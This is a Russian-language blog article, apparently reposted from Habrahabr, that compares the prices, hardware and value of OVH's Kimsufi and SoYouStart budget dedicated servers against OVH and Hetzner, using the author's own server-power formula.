Серверы Kimsufi – маломощные, но дешёвые серверы. Линейка от 8 евро в месяц за сервер PS-1 с одноядерным Celeron® 220и двумя гигабайтами памяти до 30 евро за сервер PS-31 на 4-х ядерном Xeon E3-1225 v2 и 16-ю гигабайтами памяти и 500 ГБ диска в раид-1. Неплохо!

Все сервера Kimsufi имеют диск на 500 ГБ, причём, начиная с сервера PS-5 за 12 евро – два диска в софт раид-1. Также предоставляется 100-мегабитная сеть, один ipv4-адрес и один ipv6-адрес (/128). Разовая установочная плата за серверы Kimsufi составляет 10 евро.

Серверы SoYouStart продолжают линейку и начинают от сервера SYS-E32-1 с тем же процессором Xeon E3-1225v2, но с 32 ГБ памяти и 2 ТБ диском – за 35 евро. Заканчивается линейка сервером SYS-W35-3 с процессором Xeon-W3565 (старенький Bloomfield) и 48 ГБ памяти за 48 евро. Более мощные серверы доступны на основном сайте OVH.com (от 82 евро).

Все сервера SoYouStart имеют диск на 2 ТБ (софт раид-1), а два сервера – SSD диск на 120 ГБ (также в софт раид-1, но два сервера имеют хард раид). Подключены к гигабитной сети с гарантированной полосой 200 Мбит, также даётся один ipv4-адрес и /64 подсеть ipv6. Разовая установочная плата за серверы Kimsufi составляет 50 евро.

Серверы Kimsufi доступны только во Франции, а серверы SoYouStart доступны в одном из трёх французских датацентров, а также в датацентре в Канаде. К сожалению, не все серверы доступны в любом из предложенных датацентров, а из всей линейки серверов Kimsufi (31 позиция в линейке) доступны для заказа только 13 (по крайней мере, на момент написания статьи).

В следующей таблице приведены основные параметры серверов линеек Kimsufi и SoYouStart. Для комплекта добавил в таблицу один самый дешёвый сервер основной линейки OVH и один самый дешёвый сервер Hetzner. В таблице представлены только доступные для заказа серверы Kimsufi (полная таблица).

В колонке «Вирт.» указано, поддерживает ли процессор виртуализацию.

В колонке «Рейтинг CPU bench» приведены рейтинги процессоров по сайту www.cpubenchmark.net/.

Колонки «Мощность» показывают условную мощность сервера и учитывает процессор и память. Вычисляются по формуле:

Мощность по рейтингу CPU bench:
(мощность) = (рейтинг CPU bench) / 1000 + Корень(гигабайт ОЗУ)

Мощность по частотной формуле:
(мощность) = (частота в ГГц) x (кол-во потоков) + Корень(гигабайт ОЗУ)

Резкий рост памяти не всегда даёт столь же резкий рост производительности (естественно, кроме определённых требовательных по памяти задач), поэтому я учитываю влияние подсистемы памяти как корень от гигабайт ОЗУ.

Совокупная мощность — это средняя арифметическая от двух предыдущих колонок. Эта колонка учитывает как вычислительный потенциал, основанный на частоте, так и зависящую от технологии величину, определяемую по независимому рейтингу cpubenchmark.

В колонке «Удельный рейтинг» я вывел «удельную стоимость» сервера – разделил получившуюся совокупную мощность на стоимость сервера в месяц.

Все данные сведены в таблице на Google Docs. К сожалению, Google Spreadsheet не умеет расцвечивать колонки так же удобно, как MS Excel.

Понятно, что предложенная формула расчёта мощности далека от идеала, но примерное соотношение она показывает. Если кто-то предложит более грамотную оценку мощности сервера, я добавлю предложенный метод в таблицу.

Итоги

На мой взгляд, серверы Kimsufi – достаточно интересное предложение. Если кому-то нужен выделенный сервер и VPS не устраивает, но денег на популярный Hetzner не хватает, или просто не требуется мощный сервер, то это предложение для вас. В конце концов, многие отечественные хостеры предлагают менее мощные VPS за гораздо большие деньги.

Серверы SoYouStart оказались по цене сопоставимы с самым дешёвым сервером Hetzner, но имеют, в основном, более старое железо, что и привело к меньшему удельному рейтингу.

ссылка на оригинал статьи http://habrahabr.ru/post/210992/